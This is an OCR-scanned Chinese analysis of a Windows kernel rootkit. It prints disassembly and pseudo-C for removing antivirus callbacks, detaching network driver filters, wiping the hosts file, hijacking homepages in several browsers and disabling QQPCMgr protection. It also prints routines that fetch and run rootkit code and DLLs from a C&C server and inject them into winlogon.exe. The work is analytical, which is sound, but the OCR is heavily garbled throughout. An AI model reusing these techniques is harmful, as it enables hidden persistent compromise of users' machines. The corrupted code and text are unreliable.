byte ptr cs:wirus_proc_ctrl_code, 8

short loc_11F9E

cs:has_killed_all_BHOs, dil

sho

rax, | kill all |

[Psp+uBhs StartContext], rdi 3 Stal

rod, rod

[rsp+u8h+StartRoutine], rax

r8d, r

edx, edx

vex, rbx

cs:has_killed_all_BHOs, sil

[rsp+u8h+Clientld], rdi

csiPsCreatesystenThread

eax, edi

short loc_11F9E

cs:flag_master_switch, esi
loc_11F9E

csiflag_hijack_switch, esi

short loc_11F9E

kill_all_BHOs

rtContext

; ProcessHandle

; Star

; ObjectAttributes

ThreadHandle

; Clientld

loc_11F9E: ; GODE REF: parse_ctrl_data+2581j
; parse_ctrl_data+261%j ...

byte ptr cs:wirus_proc_ctrl _code, 16h

short loc_11FF7

cs:has_reset_proxy, dil

short loc_11FF7

rax, thread_reset_prozy_in_iexplore_option
[rspehgh+StartContext], rdi

¥od, rod ; ProcessHandle
[rspsugh+StartRoutine], rax ; StartRoutine
r8d, rd ; ObjectAttributes
; DesiredAccess

; ThreadHandle

Context

cs:has_reset_proxy, sil
[rsp+ush+Clientld], rdi
cs:PsCreatesystenThread

eax, edi

short loc_11FF7
cs:Flag_master_switch, esi
short loc_11FF7
cs:Flag_hijack_switch, esi
short loc_11FF7
reset_proxy_in_iexplore_option

; Clientld

virus_proc_ctrl_code XS

TEBAIREE LB ARIRAORS BT E BRI A TR -
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A. HIFREbIRENRYHIZ RGN TR
X7 EEE R IF AR IR RGN EIEE E R S MIFE R IFN SR B SHRIER | K5
SRS ERBNANERERBENAR SR HEIEIEREER | 2R EEREFTEIRER

REEERETD MREAELBRRFRUHRITHRREE  MPRAIIEEIRS 2R AXETIRESIEA 0x10,

SITERS

vemove_other_loadinage_ch_and_replace proc near

quord ptr
= quord ptr

[rsp+arg_0], rbx
[rsp+arg 8], rbp
[rsprarg_10], rsi
rdi

rox, cs:iloadimage_cb_list
sil, sil

rex, rex

short loc_1C485

s :linlsAddress¥alid

al, al

short loc_1Cu2E

Toc_1C405:

get_loadinage_cb_list 1/ SOREBEROE
cs:loadinage_cb_list, rax

cs:linIsAddressValid
a1, al
loc_16581

loc_1642B3
rbp, cs:loadimage_cb_list
get_sys_nodules
rbx, rax
rax, rax
loc_1C531
ecx, cs:major_version
ecx, BAN
short loc_1C463
6

loc_1Cusec
csininor_version, &
short loc_1C463

loc_1045C:

8
loc_1Cu68

loc_1c463:

eax, 40n

loc_1C468:
es:duord_263C8, 0
15, load_inage_cb
riug, 1
eax, eax
short loc_1CLFF
ri2d, eax

enun_ch :
rdi, [rbp+o]
rdi, BFFFFFFFFFFFFFFFON

i
cs :HnIsaddressUalid

1
13, [rdi+8]
rcx, rbx
rdx, r13
is_routine in sys module uhitelist // HEEBESFEEIEIASSEEZSn

rax, anti_antivirus

[rdi+8], rax

short loc_1CHES

vex, 13
cs:PsRenoveloadInageNot i fyRoutine

ecx, cs:duord_263c8
rdx, quord_26308
[rdx+rcx*8], r13
ecx, riad
es:duord_263C8, ecx

loc_1CHES:
[rdi+g], r15
esi, sil
esi, riud

loc_1C4F1:
rop, 8

si
short loc 10526

loc_1C4FF:
rox, r15
s :PsSetloadImageNotiFyRoutine

cs:has_clear_load_image_cb, r14b
call send flag data_to_cc server /; BESAEYIE , REEETREEK 0x10

TRBRBR (R NN B
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rbx

rsp, 36h

Bax, eax

rdx, str_PsSetlLoadImageNotifyRoutine ; "PsSetLoadImageNotifyRoutine"
rck, [rsp+38h+DestinationString] 5 DestinationString
ebx, ebx

quord ptr [rsp+38h+DestinationString.HaximumLength], rax

dword ptr [rFsp+38hsDestinationString.Buffer+2], eax
[rsp+38h+DestinationString.Length], bx

word ptr [rsp+38h+DestinationString.Buffer+6], ax
cs5:RtlInitUnicodeString

rcx, [rsp+38h+DestinationString] ; SystemRoutineName
[ etSystemRoutineAddress

r11, rax

rax, rbx

short loc_1G35F

rax, 56h

; CODE XREF: get_loadimage_cb_list+69)j

r11, rax

short loc_1C35F

byte ptr [r11], 33h
short loc_1C342

byte ptr [r11+1], BDBh
short loc_1G3%2

byte ptr [r11+2], 4Bh
short loc_1C342

byte ptr [r11+9], 45h
short loc_1C347

; CODE XREF: get_loadimage cb_list+uFij
; get_loadimage_ch_1list+5671j ...

i

short loc_1G322

: CODE XREF: get loadimage cb list+eufj
eax, [ri11+5]
rcx, OFFFFFFFFO0000066h
Fax, rcx
rax, [rax+r11+9]
short loc_1CG361

BRI INEEIER LSRN

rdx, rdx
short loc_1C3B5S

loc_1C38C: 5 CODE XREF: is_routine_in_sys_module_whitelist+h1}j
rax, sys_module_white_list 5 "ntoskrnl.exe™
r8d, ebx
rdx, rdi ; routine_addr
rcx, rsi 5 sys_module_list
r8, Z2h
r8, rax ; ntoskrnl_string
is_addr_in_module
al, al
short loc_1C3B5
ebx
ebx, 14
short loc_1C38C
short loc_1C3B7

ROOTKIT

FURTEDAHEAE T R IR AR R R R E BB B IER

BRBFAFRFNETURN AR HAILERO XS | HFRT —ERENMERINE B IEE

MEBREREXIK) , RERRNESRNEHEE QQPCMgr, Ts # TS FRFER |, FRLABSITE

MERNEERRAERANET. BB RFIRINTERF :
e ntoskrnl.exe entkrnlpa.exe entkrnlmp.exe entkrpamp.exe eWdFilter.sys

eQQPCMgr eTs TS eksecddsys ecng.sys etcpip.sys oCLsys oCLdIl

epeauth.sys
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rexe_RIL_PROE

Loc
eax, [rsi 10
rax, [rsi-1en]
13, ra

rip-8]
Loc_1¢
Loc_1

cs

thane |

5 CODE XREF: is

addr_in_nodulesvaT

EH_HODULE_1HFORMAT 10N

iLeNane

S EERT RS2

MFRHAERIERY T ESHIFRERE NN EIETTESRIL. MNRHAITHITEGEIHIE

[ERREZRNE C&C

ARSSRRAIEIEHIED OXE |, ANRATDEAHAFEEIERENE C&C RSZ=RAIE Ox11, A TER :

set_self proc near

arg_18

[rax+8], rox
[rax+10n], rop
[raxs18n], rsi
[raxr20n], rdi
L

toskrnl_createproc_routine list

outine_ist, r

cs:createproc_routi
nodules

in_sys_module_uhits

[r1248], ¥14
ebp, bpl
ebp, ebx

thTag

elist

utine

; CODE XHEF: renoue_other_createproc_ch_and_reset_self+zalj

/) GHHEREERNE

; CODE XREF: renove_other_createpro

routine_add

dule_L
PR B R R S T

; CODE XREF: renoue_oth
othe

; CODE XREF: renove_oth

£F RS EEY) | MHEE T YT 0x11

CODE XRE! createpr
other. c_ch_ana_re

CODE XRE!
c_ch_ana_re

G EE R A
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TRHAEELE

rdx, str_PsSetCreateProcessNotifyRoutine PsSetCreateProcessNotifyRoutine™
[r11-28h], r12u

[r11-26h], rax

rcx, [r11-28h] ; DestinationString
dword ptr [rsp+agh+SystenRoutineName .Buffer+2], eax

word ptr [rsp+8h+SystenRoutineName Buffer+6], ax

[r11+8], ri12d

cs:RtlInitUnicodeString

rcx, [rsp+48h+SystenRoutineName] ; SystemRoutineMane
cs:MnGetSystemRoutineAddress

rdi, rax

rax, ¥12

loc_1C76E

ecx, cs:major_version

ecx, 6

loc_1G6A9

eax, cs:minor_version

CEE

short loc_1C641

rbp, [rdi+s8h]

rsi, rdi

rdi, rbp

loc_1G78E

loc_1C5D4: 5 CODE XREF: get_ntoskrnl_createproc_routine_list+A7Lj
byte ptr [rsi], BE%h
short loc_1C5F5
eax, [rsi+1]
eax, o
rbx, eax
rbx, rsi
short loc_1C5F5

€s:MnlsAddressUalid
al, r12b
short @Eproc_real_content

loc_1CSF5: CODE XREF: get_ntoskrnl_createproc_routine_1ist+831j
get_ntoskrnl_createproc_routine_list+917j

short loc_1C5D%

loc_1CSFD: CODE XREF: get ntoskrnl_createproc_routine 1ist+131Lj
ecx, cs:major_version
ecx, 6
loc_1C6A9
eax, cs:minor_version

loc_1C612: CODE XREF: get_ntoskrnl_createproc_routine_list+Fayj
eax, 3
loc_1C6B9
loc_1C6AF

B2proc_real_conten get_ntoskrnl_createproc_routine_1ist+9Ftj
lea rax, [rbx+58h]

loc_1C62. CODE XREF: get ntoskrnl_createproc_routine 1ist+EBLj
rbx, rax
loc_1C76E
byte ptr [rbx], LCh
short loc_1Cé3C
byte ptr [rbx+1], 8Dh
loc_1C761

loc_1C63C CODE XREF: get ntoskrnl_createproc_routine_list+Dctj
rbx
short loc_1Cé624

loc_1C64 CODE XREF: get_ntoskrnl_createproc_routine_list+6ETj
eax, 2
short loc_1C612
rbp, [rdi+28n]
si, rdi
rdi, rbp
loc_1C78E

CODE XREF: get_ntoskrnl_createproc_routine_list+137j
byte ptr [rsi], BEBh
short loc_1C67F
al, [rsi+1]
byte ptr [rsp+48h+arg_8], al
eax, [rsp+48h+arg_0]
eax, 2
rbx, eax
rbx, rsi
short loc_1C67F
rcr, Kby
cs:HnlsfaddressValid
al, ri2b
short loc_1C68D

loc_1C67F: CODE XREF: get_ntoskrnl_createproc_routine_list+1057j
get_ntoskrnl_createproc_routine_list+11B1j
rsi
rsi, rbp
loc_1C5FD
short loc_1C656

CODE XREF: get_ntoskrnl_createproc_routine_list+1291j
rax, [rbx+186h]

CODE XREF: get_ntoskrnl_createproc_routine_list+1531j
rbx, rax
short loc_1C78E
byte ptr [rbx], 4Ch
short loc_1CéA4
byte ptr [rbx+1], 8Dh
short loc_1C761

loc_1C6Ak: CODE XREF: get_ntoskrnl_createproc_routine_list+148fj
rbx
short loc_1C694

BRRHERIERET IR
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B. &l attach ERFMEIRENIIR LAYISEFHE
BT HIRRIRENEIES | iR IR @Id & #T attach Zl tcpip. AFD. tdx 3Rz _HiREEEA | HEkR

LTI IKANRT R E ARG, S0 T ERf

char _ fastcall break_attach_chain{PCWSTR driver_name}

__int6h i; /7 rbzEy

char result; // al@9

_ int16 v3; // [sp+46h] [bp-18h]@1
__inté4 ul; 7/ [sp+42h] [bp-16h]@1
int u5; /7 [sp+4Ah] [bp-Eh]@1
__int16 v6; /f [sp+4Eh] [bp-Ah]@1
PUDID Object; // [sp+68h] [bp+1Bh]@1

vl =
ul
us
uh )
Object = Bi6h;
RtlInitUnicodeString{ (PUNICODE_STRING)&v3, driver_name);
if ( ObReferenceObjectByHame{#u3, 64i64, Bi64, Bi64) || *0bject || =(_WORD =)0Object *= IO_TYPE_DRIVER )}
{
result = @;
H
else
4
for {( i = =({_QWORD =)0bject + 1);
(unsigned _ int8)MmIsAddressVUalid{i) && i && ={ WORD *)i == I0_TYPE_DEVICE;
i = ={_QWORD #*){i + offsetof(DEVICE_OBJECT, HextDevice})} }
{
*{_QWORD =)(i + offsetof{DEVICE_OBJECT, AttachedDevice}) = Bi6h;

H
ObfDereferencelbject{0bject);
result = 1;

H

return result;

M attach AUIR RS

C. 5= hosts {4

clearup_hosts_file proc near ; CODE XREF: parse_ctrl_data+24cip
; thread_clearup_hosts_file+1Fp
s DATA XREF: ...

DestinationString= UNICODE_STRING ptr -18h

rsp, 38h
Pax, eax
rdx, hosts_file path 5 \\SystemRoot\\System32\idriversiietciyh™. ..
rcx, [rsp+38h+DestinationString] ; DestinationString
[rsp+38h+DestinationString.Length], ax
quord ptr [rsp+38h+DestinationString.MaximumLength], rax
dword ptr [rsp+38h+DestinationString.Buffer+2], eax

nov word ptr [rsp+38h+DestinationString.Buffer+a], ax

call cs:RtlInitUnicodeString

lea rdx, hosts_data

lea rcx, [rsp+38h+DestinationString]

mou r8d, 1

call write_file

lea rdx, hosts_ics_file_path 5 "ASystemRoot\ASystem32i\\driversiietciyh™. ..

lea rcx, [rsp+38h+DestinationString] 5 DestinationString

call cs:RtlInitUnicodeString

lea rdx, hosts_data

lea rcx, [rsp+38h+DestinationString]

mov r8d, 1

call write_file

add rsp, 38h

retn

clearup_hosts_file endp

5% hosts
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D. i&F% BHO ( Browser Helper Objects )

A=z N

0}

13 HIER\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Brow

ser Helper Objects i¥MZRIN FRIFFEFUERMFRITE BHO. (EXmEKIMASHFE\REGISTR

Y\MACHINE\Software\Wow6432Node\Tencent\QQPCMgr ;EMRIART , NAXS BHO ST

/ —3==

178

bR, SOTERD

kill_all_BHOs

proc near

CODE XREF: parse_ctrl_datas2a5ip
thread k)ll all_BHOS+1FLp

DestinationString= UNICODE STRING ptr -48h
ObjectAttributes=

KeyHandle

loc_1ACR9:

loc_1ADAS:

kill_all_BHOs

retn
endp

OBJECT_ATTRIBUTES ptr -38h
quord ptr

; const WCHAR reg_QQHgr_path
reg_QQHgr_path:

8, <

; DATA XREF: kill_all_BHOs+6fo
>

rdx, reg_QQMgr_path AREGISTRY\\HACHINE\\SOF tware\\Uoug432N

rex, [rspr68h+Destinationstring] 5 DestinationString

ebx, ebx
sp+68h+KeyHandle], rbx

©s:Rt1Initunicodestring
%, [rspr6ghDestinationString]
. [Fsp+68h+Objectattributes] Objectattributes

vex, [rspr68hieyHandle] KeyHandle

eds, 20010h Desirednccess
sp+68h+DbjectAttributes.ObjectNane], rax
sp+68h+DbjectAttr
spr68h+0bjectattr:

[rsp+68h+0bjectattributes .Attributes], zhoh
sp+68h+0bjectattributes.Securityescriptor], rbx
sp+68h+0bjectAttributes .SecurityQualityoFService], rbx

5 :2Zudpenkey

eax, ebx

short loc_1ACB9

rex, [rspro8h+keyHandle] 3 Handle

cs:Zutlose

loc_1aD45

CODE XREF: kill_all _BHOs+5FTj

eax, eax

rex, [rspr68h+ObjectAttributes.RootDirectory]

edx, edx

r3d, [rax+28h]
spr68h+DestinationString.Length], bx : const WCHAR reg_BHO_path

[rsp+68h+Objectattributes.Length], ebx veq BHO path:

quord ptr [rspr68h+Destinationstring. naxlmungnnrhw Sode 8, ¢

duord ptr [rspr68h+DestinationString erv2], eax 8, <

word ptr [rsp+68h+Destinations llng.BuFFerfﬁ], ax

nenset

Dst
5 val
Size

; DATA XREF: kill all BHOs+9ATo
>

>

rdx, reg BHO_path \Registry\\Hachine\\SOFTHARENAHicrosof

rex, [rsp+68h+Destinationstring] 3 Destinationstring

[rsp+68h+KeyHandle], ¥bx

cs:Rt1Initunicodestring

rax, [rsp+68h+Destinationstring]
, [Fsp+68h+Objectattributes]
5, [Fsp+68h+KayHandle] KeyHandle
Desirednccess

ityQualityofservice], rbx
cs:Zudpenkey
eax, ebx
short loc_1AD4S
rcx, [rsp+68h+KeyHandle] ; Handle
delete_all_BHOs

CODE XREF: kill_all_BHOs+6CTj
kill_all BHOs+F11j

& BHO 1EXAXHS

enun_req_key: CODE XREF: delete_all BHOs+Bo1j
delete all BHOs+1khyj
edz, edx val
r8d, 208h Size
rex, r12 Dst
nenset
rid, [rspoﬂﬂﬂhtarg 8]

KeyInfornation
pf“BﬂhoﬂesultLength], v ResultLength

r8d, rsd KeyInformationClass

Index

KeyHandle

[rsp+0BSh+Length], 208h Length

cs:2uEnuneratekey

ebp, eax

eax, STATUS_NO_HORE_ENTRIES
short loc 14525

ebx, r13d

loc_145ER

xmyord ptr [rsisrax<g]
d ptr [rsp+@B8h+key handle], xmm@
rex, [rsp+BB8h+key handle+8] ; KeyHandle
cszzubeletekey
rcx, [rsp+0B8h+key_handle+8]
cs:ZuClose
ebx, OFFFFFFFFh
al
al, r13b
loc_145E0
rdi, [rsp+8B8h+key_handle]
enun_req_key

Handle

fipR BHO ;£ AfZRIN
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E. E5 IEERE

JREIEBIT I \Registry\User\2&4gi B \Software\Microsoft\Windows\CurrentVersion\Internet

Settings A ProxyEnable 82{E5 4 0 97552 M KIE,

F. #SRLE=RECE

R TITURFZ /S | S EREIRA S MULAE R =R — L EANEEES (1B, QQ X

1%~
U

75, 360 ZEMERR. KN, HRZE ) FIBHENERERIPRIEER TN , N TRES

K. EBTIRERMEZE | &M CAC RSERIEEHIRD 0x4, W TFER7R :

set_hijack_reg_content 1 proc near

arg s = quord ptr -18h

rsp, 38h
cs:byte 24E9B, 1

loc_19648:
c5:byte_24E9R, @
short loc_1965C
ecx, ecx
cs:PsTerninatesystenThread

loc_1965C:
rax, urldata_hijack_theworld
r9, urldata_h _Fi
r8, urldata_hijack_360se
rdx, urldata_hijack_qgbrouser
cx, urldata_hijack_iexplore
[rsp+38h+arg_5

hijack_option

short loc_1964B

quord p
quord ptr

[rsp+arg 0], rbx
[rsprarg 8], rsi

rdi

rsp, 26h
es:flag_master_suitch, 1
vbx, r9

rdi, r8

rsi, rdx

short loc 19629
es:flag_hijack_suitch, 1
short loc 19620
es:flag_hijack_iexplore, 1
short loc 195EC
set_iexplore_hijack_reg

loc_195EG:
es:flag_hijack_qqbrouser, 1
short loc 195FD
rex, rsi
hijack_ggbrouser

loc_195FD:
cs:flag_hijack_36@se, 1
short loc_1960E
rex, rdi
hijack_s6ese

loc_1960E:
I lag_hijack_others_brouser, 1
short loc_19629

rcx, rbx

hijack_firefox

rex, [rspe28h+arg_5]
hijack_theworld

| Loc_19620:

rbx, [rsp+28h+arg_8]
si, [rsp+28h+arg_8]

ROOTKIT

DATA XREF: parse_ctrl data+311fo
_pdata:00000000000273FC Jo

CODE XREF: set_hijack_reg_content_1+581j
ExitStatus

CODE XREF: set_hijack_reg_content_1+12fj

i q_content_1+ihyp
set_hijack reg_content 2+3Fp
DATA XREF: ...

; CODE XREF: set_browser_hijack_option+31

; CODE XREF: set_browser_hijack_option+3F

Fornat

CODE XREF: set_browser_hijack_option+50

CODE wser_hijack_option+1F{j

set_brouser_hijack_option+281j ... )
{ Loc_1778C:

rdx, [rsp+BF8h+data_1_buf]

rex, hijack_gqmgr_data_1

decrypt_string

rdx, [rsp+BF8h+data_2_buf]

rex, hijack_gqngr_data_2

decrypt_string

rdx, [rsp+8FBh+data_3_buf]

rex, hijack_gqmgr_data_3

decrypt_string

rdx, [Fsp+8FBh+data_4 buf]

rex, hijack_gqngr_data 4

decrypt_string

rdx, [Fsp+8FBh+data 5 buf]

rcx, hijack_gqqmgr_data S

decrypt_string

rdx, [FSp+BF8h+data_6_buf]

rex, hijack_qqmgr_data_é

decrypt_string
p+8F8h+data_7_buf]
ack_qqngr_data_7
string
p+8F8h+data_8 buf]
ack_qqngr_data_8

decrypt_string

rag, [rsp+8FBh+data_8_buf]
[rsp+8F8h+var_BAB], rax
[rsp+8F8h+var_8BO], r11d
rex

rax, [rsp+BF8h+data_7_buf]
rdi, [rex-1]

rex, [rsp+BF8h+data_3_buf]
[rsp+8F8h+var_BBB], rax
duord ptr [rsp+8F8h+uar_BCB], r18d
rax, [rsp+BF8h+data_6_buf]
[rsp+8F8h+var_BLB], rax
[rsp+8F8h+uar_8DO], rod
rax, [rsp+8FBh+data_5_buf]
r9d, r8d

¥8, [rsp+8F8h+data 4 buf]
[rsp+8F8h+uar_8D8], rax
set_hijack_info

cs:flag_hijack iexplore, 1
short loc_1773C

¥8, [rsp+8F8h+data_1_buf]
rex, [Fsp+B8FSh+data_2_buf]
rod, esi

edx, edi
set_protect_option

XREF: set_gqmgr_protect_reg+2847j

eax, eax
short loc_1779E
cs:flag_modify_qqmgr_ie_protect_access, 1
short loc_1779E

eg_access

RSN E R B TURIFEE
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ENIFNSERRRBLAEDER 360 Z2NE=EAM , AT

F7~ -

[rsp+4C8h+unistr_homepage .Length], ax

eax, [rbp+12h]

[rsp+4C8h+last_time check _val], bpl
[rsp+4C8h+unistr_homepage .MaximumLength], ax
rax, aHomepage homepage*
ebx, 41Bh

[rsp+4C8h+unisty_homepage .Buffer], rax

eax, eax

r14, stru_ 25B88

r12d, [rbp+1]

r13, stru 25FAB8

word ptr [rsp+4C8h+last_time check_wval_1], ax
[rsp+4C8h+last_time_check_val_3], al
cs:byte 24F28, bpl

loc_19238

rax, unk_25B98

[

C tru_25B80.Length, bp

c: tru_25B88.Buffer, rax

eax, [rbp+36n]
cs:stru_25B86.MaximunLength, bx
[rsp+4C8h+Source.Length], ax

eax, [rbp+32h]

[rsp+4C8h+Source .MaxinumLength], ax
rax, aSoftware366360
[rsp+a4C8h+Source .Buffer], rax
cs:HmlsAddressUalid

al, bpl

short loc_191A3

rex, P14

get_current_user_reg_path

eax, ebp

edi, eax

short loc_1919%0

rdx, [rsp+4C8h+Source] ; Source
rcx, ris ; Destipation
cs:RtlAppendUnicodeStringToString

5 DestinationString

loc_19198:
ecx, cs:byte 2u4F28
edi, ebp
ecx, ri12d
yte_24F28, cl

loc_191A3:
rax, unk_25FBB8
rcx, r13
C: tru_25FAB.Length, bp
cs:stru_25FAB.Buffer, rax
eax, 36h
cs:stru_25FAB.MaximunLength, bx
[rsp+4CBh+Source.Length], ax
eax, 38h
[rsp+4C8h+Source .MaximumLength], ax

; "\\SOFTHAREAA36 BAA3G6 055\ \5e6™

; CODE XREF: hijack_360se+1201j

; CODE XREF: hijack_360se+112fj

rax, aSoftware36d3 @ 3 "\ASOFTWAREAA3ZG6BAA36Bse6)\\Chrome™

[rsp+4CBh+Source .Buffer], rax
cs:MnlsAddressValid

al, bpl

short loc_1921E

rcx, r13
get_current_user_reg_path
eax, ebp

edi, eax

short loc_192489

rdx, [rsp+4C8h+Source] Source

rcx, r13 Destination
cs:RtlappendUnicodeStringToString

; DestinationString

1EIE 360 RENEEBRINRFFTER
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KIEHS "THIE" BEFEEEXRR. ITER:
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loc_19245: A
= ; size t str_4_eScObSBOd1al
:2:: ?ﬁ;afﬂgzﬁfgzﬁzﬁ;?"Af 5tr7h79539h§89d1ah47: : DATA XREF: hijackiﬂﬁnse:lucg192h57u
r8, rsi *
csiswprintf 8, < v
rdx, [rPsp+4CBh+String] ; SourceString
rcx, [rsp+4CBh+unistr 4 e5c9b589d1a4 ] ; DestinationString
cs:RtlInitUnicodeString
rdx, [rsp+4CBh+unistr_4 e5c9b589d1a4 ] ; SourceString
rcx, [rsp+4CBh+AnsiString] DestinationString
réb, ri2b AllocateDestinationString
cs:RtlUnicodeStringToAnsiString
eax, ebp
short loc_19229
edx, [rsp+4CBh+AnsiString.Length]
rcx, [rsp+4C8h+Ansistring.Buffer]
sub_1C878
rcx, [rsp+iACBh+AnsiString] AnsiString
rbx, rax
cs:RtlFreefnsiString
rcx, [rsp+4CBh+AnsisString]
rdx, rbx
cs:RtlInitAnsiString
rdx, [rsp+4C8h+Ansistring] ; SourcesString
rcx, [rsp+4CBh+unistr_4 eS5cOb589d1a4 ] ; DestinationString
r8h, r12b ; AllocateDestinationString
cs:RtlAnsiStringToUnicodeString
eax, ebp
loc_19229
¥9, [rsp+4CBh+unistr_4 e5c9b589d1a4_ .Buffer] ; data
eax, eax
r15, BFFFFFFFFFFFFFFFFh
rdi, r?
rcx, r1%
1lea rdx, [rsp+uC8h+unistr_homepage]
Fepne scasu
moy r8d, r12d
not rcx
sub rcx, r12
1lea eax, [rexsrcx+2]
mou rcx, rih rootkey
mov [rsp+4CBh+data_size], eax data_size
call regq_set_sub_key_val
cmp eax, ebp
j1 short loc_1936B
mou rcx, rih
set_reg_secrurity

DestinationString
SourceString

loc_1938B: ; CODE XREF: hijack_368se+2A11j

r9, [rsp+4C8h+unistr_4 e5c9b589d1a4_ .Buffer] ; data
eax, eax
rcx, ri5
rdi, r9

lea rdx, [rsp+4CBh+unistr_homepage]
r8d, r12d

Fepne scasy

not rex

sub [

1lea eax, [rex+rcx+2]

mov rcx, ri3 rootkey

moy [rsp+4CBh+data_size], data_size

call reg_set_sub_key_val

cmp eax, ebp

j1 short loc_19345

mov rcx, ri3

call set_reg_secrurity

loc_19345: GODE XREF: hijack_368se+2DBTj

moy esi, 416h

lea rcx, [rsp+4CBh+String] Dst

X0r edx, edx val

mou ré, rsi Size

call menset

X0r eax, eax

lea rdi, [rsp+4CBh+String]

mou rcx, ri5s

lea rdx, aPid 3 Upliae

Fepne scasu

mov rax, quord ptr cs:str_OemxiazaibaZ2

1lea rcx, [rspruC8h+unistr_homepage]
[rdi-2], rax
rax, quord ptr cs:str_Oemxiazaiba2+8 ; "iazaiba2"
[rdi+6], rax
rax, quord ptr cs:str_Oemxiazaiba2+18h ; "iba2"
[rdi+BEh], rax

movzx eax, word ptr cs:str_Oemxiazaiba2+18h ; "

moy [rdi+16h], ax

call cs:RtlInitUnicodeString

X0r eax, eax

1ea rdi, [rsp+i4C8h+String]

mou rcx, ri15

lea r9, [rsp+4CBh+String]

Fepne scasy

lea rdx, [rsp+4CBh+unistr_homepage]

moy r8d, r12d

not rcx

sub rcx, ri1z

1lea eax, [rex+rcx+2]

mou rcx, r12 rootkey

moy [rsp+4CBh+data size], data_size

call reg_set_sub_key_val

“oemxiazaiba2"
DestinationString

% 360 REMNEEE T AT
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G. ZhF5HSTL B AN E RETIRIPRILL
HERT2EXNGEHREES  RBERIIBEXRIFRILL ( BEXMUBXIEMRIUS 3rd

FHk) R9750 BN RERE TRP UL, INTFERTR

RtlInitUnicodeString(
&DestinationString,
L*™%AREGISTRYA\YMACHINEY A SoFtwarediUWowo 432Hode\\Tencent\\QQPCHgry\IEStartPages\IEStartPageProtect™);
RtlInitUnicodeString{&subkey, L"3rdEnable™});
u28 = L4;
data = 'L*;
u28 -
u29 ‘T
v3a ‘0t
reg_set_sub_key_val{&DestinationString, &subkey, 3u, &data, 4u);
u21 =
u22 =
do

a;
uas;

if { flag_hijack_368se == 1 || v21 = v28 )
{
memset{&String, 8, Bx28ui6y);
swprintF(&String, (size_t)L"3rdProtect_%d", (const uchar_t =*)u21};
RtlInitUnicodeString{&subkey, &String);
req_set_sub_key_val(&DestinationString, &subkey, u28, (char *)&Format + 4, v2@);

menset{&String, @, Bx2Buidh);
suprintf(&String, {(size t)L"TPBrouwserURL_%d", {(const wchar_t *)u21};
RtlInitUnicodeString{&subkey, &String});
reg_set_sub_key val{&DestinationString, &subkey, 3u, v23, ul9);
vzl = 4;
e
++u21;
¥
while ( w21 < BxF );
RtlInitUnicodeString({&subkey, L 3rdProtectURL"};
reg_set_sub_key_val(&DestinationString, &subkey, 3u, &v38, vl9);
RtlInitUnicodeString({&DestinationString, L™\AREGISTRY\\Users\QHConfig\\QQDoctoryvQQDoctor\\ComCfg™);
RtlInitUnicodeString{&subkey, L"TPBrowserLock™);
data = 122;
u28 = 116;
u29 = -22;
u3d = 55;
req_set_sub_key val{&DestinationString, &subkey, 3u, &data, v28);
u24 = (unsigned int)Format;
do
{
memset (&String, 8, 6x28uisu);
suprintf(&String, (size_t)L"TPBrowserURLID %d", {const wchar_t *)u2u);
RtlInitUnicodeString{&subkey, &String):
reg_set_sub_key_val(&DestinationString, &subkey, 3u, &data, v28);
+Hy2h;

H
while ( u24 < BxF )3

(& PSRBT FE BN S 2R B DU AR E AR I
2) #=HIE3 0x3 , FREVEFRIRGNRIR
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ax+8] 3 num_of_bytes
rdx, [raxs16h]

ecx, 3 ;
ransport_to_cc_server SRR
DX, [rsp+28h+P]

al, al

short loc_11A2A

Flag

@@xor_BxC0: ; CODE XREF: run_remote_rootkit_codes58yj
byte ptr [rax], BCOh // A7SEIREN Y HER
rax

rex, 1
short @@xor_BxCH
byte ptr [rbx], uDh  // EMPEXCHEMIE
short loc_11A67
byte ptr [rbx+1], 5Ah
short loc_11A67
rex, rbx
Toad_and_run_rootkit ;@i EpEas=tnaEe)
ecx, 5
eax, eax
short loc_11A23
ecx, 9
loc_11A23: ; CODE XREF: run_remote_rootkit_code+7ufj
call_send_flag_data_to_cc_server // i : USR] 0x5 , BRI 03
short loc_11A67

loc_11A2A: ; GODE XREF: run_remote_rootkit_code+35t
ecx, 28h ; NumberDfBytes
alloc_by_init_zero

t

quord ptr [rdi], 8

v11, run_vemote_rootkit_code

edx, 1 ; QueueType
%, rdi ; WorkItem
di +WORK_QUEUE_ITEM. YorkerRoutine], r11
rdi+WORK_QUEUE_ITEM.Parameter], rdi

c5:ExQueveliorkItem

r8, rsi
rdx, r13 ; File_buffer
rex, r12 5 mapping_buffer
pe_mapping

%, 112

%, 112

i relocation

Fix_inport_table

ebp, eax

eax, eax

short loc_16923

rex, akperesoluein @ “KpeResoluelnportTable \n"
DbgPrint

rbx, [rsp+48h:tienorybescriptorList]

rex, P12 Basenddress

rdx, rbx HemorybescriptorList
cs:HnUnnapLockedPages

rex, rbx ; MemorybescriptorList
cs:MnUnlockPages

rex, rbx a1

cszloFreetdl

edx, edx Tag

rex, rdi P
cs:ExFreePooltiithTag

eax, ebp

short loc_16961

loc_16923: ; CODE XREF: load_and_run_rootkite1337]
ebx, [rsi+IMAGE_NT_HEADERS.OptionalHeader .AddressOfEntryPoint]
rbx, r12
short loc_1695F
ecx, 40n 5 NumberDfBytes
alloc_by_init_zero
rax, rax
short loc_1695F
quord ptr [rax],
rex, run_leaded_nmodule_entry_point

edx, 1 QueueType
[rax+WORK_QUEUE_ITEH . WorkerRoutine], rcx
rax ; WorkIten
ptr [rax+WORK_QUEUE_ITEM.ext_parameter], rbx
[rax+WORK_QUEUE_ITEN.Paraneter], rax
cszExQueuchiorkIten

ERIDEIREFHRITA O R
3) ¥=HIES OxA |, IREVTFZIRENIER
HUTITFRORSIERCAT RS |, 2@IdiE winlogon.exe HHFESLIIAY ENER A T FHER BlackBone

B, B :
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rsi, rcx

r8, [raxz+8]

rdx, [rax+18h]

ecx, bBah
transport_to_cc_seruver
al, al

short loc_117F5
[rsp+28h+P], B

short loc_11847

edx, [rsp+28h+arg_8]
edx, edx

short loc_11832

rcx, [rsp+28h+P]
run_remote_dll_module
ecx, BCh

al, al

short loc_117EE

ecx, BBh

loc_117EE:

nun_of_bytes
buf

flag
/ B ASEER

run_remote_d11+4FTj

call send flag_data_ to_cc_server TEET , RGBT

short loc_ 11832

loc_117F5:
ecx, 28h
alloc_by_init_zero
rdi, rax
rax, rax
short loc_11832
ecx, 286888
wait
quord ptr [rdi], @
r11, run_remote_dl11l
edx, 1
rcx, rdi

/R FRAGE 0xC

CODE XREF: run_remote d11+2CTj
HumberOfBytes

; QueueType
; WorkItem

[rdi+WORK_QUEUE_ITEHM.WorkerRoutine], ri1
[rdi+WORK_QUEUE_ITEHM.Parameter], rdi
